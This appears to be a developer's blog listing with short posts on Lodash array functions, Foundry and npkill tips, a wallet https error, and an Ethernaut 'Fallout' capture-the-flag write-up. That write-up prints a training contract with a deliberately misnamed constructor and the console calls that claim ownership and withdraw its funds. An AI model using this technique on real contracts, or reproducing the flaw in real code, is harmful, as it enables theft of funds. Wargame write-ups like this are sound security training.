Javascript library - Lodash

25 Aug 2022

因緣際會下認識了這款實用又方便的套件 - Lodash，Lodash是一個一致性、模塊化、高性能的 Javascript 實用工具庫，遵循 MIT 標準，支持最新的運行環境（擷取自官網的介紹）。

安裝 Install

習慣寫typescript，所以這邊除了lodash，也安裝了@types/lodash

npm install lodash
npm install --save @types/lodash

import

import * as _ from "lodash";

一些範例

Lodash 提供很多好用的函式，這邊就簡單舉一些例子，詳細可以到Lodash docs來看。

_.chunk(array, [size=1])

把陣列拆分成多個size長度的陣列，剩餘不足一個size的剩餘元素組成最後一個陣列
```
console.log(_.chunk(['a', 'b', 'c', 'd'], 2))
// [ [ 'a', 'b' ], [ 'c', 'd' ] ]
```
_.compact(array)

創建一個新的陣列並返回，這個陣列有原陣列所有非假值元素。假值指如 false, null,0, "", undefined, 和 NaN
```
console.log(_.compact([0, 1, false, 2, '', 3]))
// [ 1, 2, 3 ]
```

_.drop(array, [n=1])

去除陣列前n個元素

console.log(_.drop([1, 2, 3], 2))
// [ 3 ]
console.log(_.drop([1, 2, 3], 5))
// []

_.fill(array, value, [start=0], [end=array.length])

將陣列從start位置開始到end位置結束替換為value，會改變原陣列，非建立新陣列回傳。
```
console.log(_.fill(Array(3), 2))
// [ 2, 2, 2 ]
console.log(_.fill([4, 6, 8, 10], '*', 1, 3))
// [ 4, '*', '*', 10 ]
```

_.flatten(array)

減少一層陣列嵌套

console.log(_.flatten([1, [2, [3, [4]], 5]]))
// [ 1, 2, [ 3, [ 4 ] ], 5 ]

_.flattenDeep(array)

使成為一維陣列

console.log(_.flattenDeep([1, [2, [3, [4]], 5]]))
// [ 1, 2, 3, 4, 5 ]

_.remove(array, [predicate=_.identity])

移除陣列中predicate是true的元素並返回

var array = [1, 2, 3, 4];
var evens = _.remove(array, function(n) { return n % 2 == 0;})
console.log('array: ', array);
console.log('evens: ', evens);
// array:  [ 1, 3 ]
// evens:  [ 2, 4 ]

_.uniq(array)

去除重複元素(保留第一次出現的元素)
```
console.log(_.uniq([2, 1, 2]))
// [ 2, 1 ]
```

_.unzip(array) 與 _.zip([arrays])

var zipped = _.zip(['a', 'b'], [1, 2], [true, false]);
console.log('zipped: ', zipped)
// zipped:  [ [ 'a', 1, true ], [ 'b', 2, false ] ]
console.log(_.unzip(zipped))
// [ [ 'a', 'b' ], [ 1, 2 ], [ true, false ] ]

_.zipWith([arrays], [iteratee=_.identity])

console.log(_.zipWith([1, 2], [10, 20], [100, 200], function(a, b, c) { return a + b + c; }))
// [ 111, 222 ]

Ethernaut - 2.Fallout

24 Aug 2022

Difficulty: 🌕🌑🌑🌑🌑

Claim ownership of the contract below to complete this level.

Things that might help

Solidity Remix IDE

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Writeup

Get new instance
Call the method
```
 await contract.owner()
    
```
to check contract owner, it return address 0x0000000000000000000000000000000000000000.

Call the method

 await contract.allocatorBalance(YOUR_ADDRESS).then(v=>v.toString())

to check balance, it will return zero.

Call the method

 await contract.Fal1out({ value: toWei("0.00001") })

Call method allovatorBalance again like step3, we can see out balance become 10000000000000 now.
Call the method
```
 await contract.collectAllocations()
```
Submit instance ξ( ✿＞◡❛)

forge install : fatal: Not a git repository (or any of the parent directories)

23 Aug 2022

Run forge install some-repo command then get fatal: Not a git repository (or any of the parent directories)error. Because there are no .git folder!
Solve the problem by run forge init (or forge init --force)

npkill - tool to remove node_modules

17 Aug 2022

There is a fast way to remove node_modules folder, which can help us save mamory wonderfully.

Run npx npkill in terminal
Select folder you want to delete and press SPACE key ! How simple is it ?

Cannot read properties of undefined (reading 'importKey')

16 Aug 2022

I encounter error like picture when click button which used to connect wallet extension in AWS ubuntu environment : This error appears if open web by using http not https. Establish SSL connection and become https, problem solved !

Wei's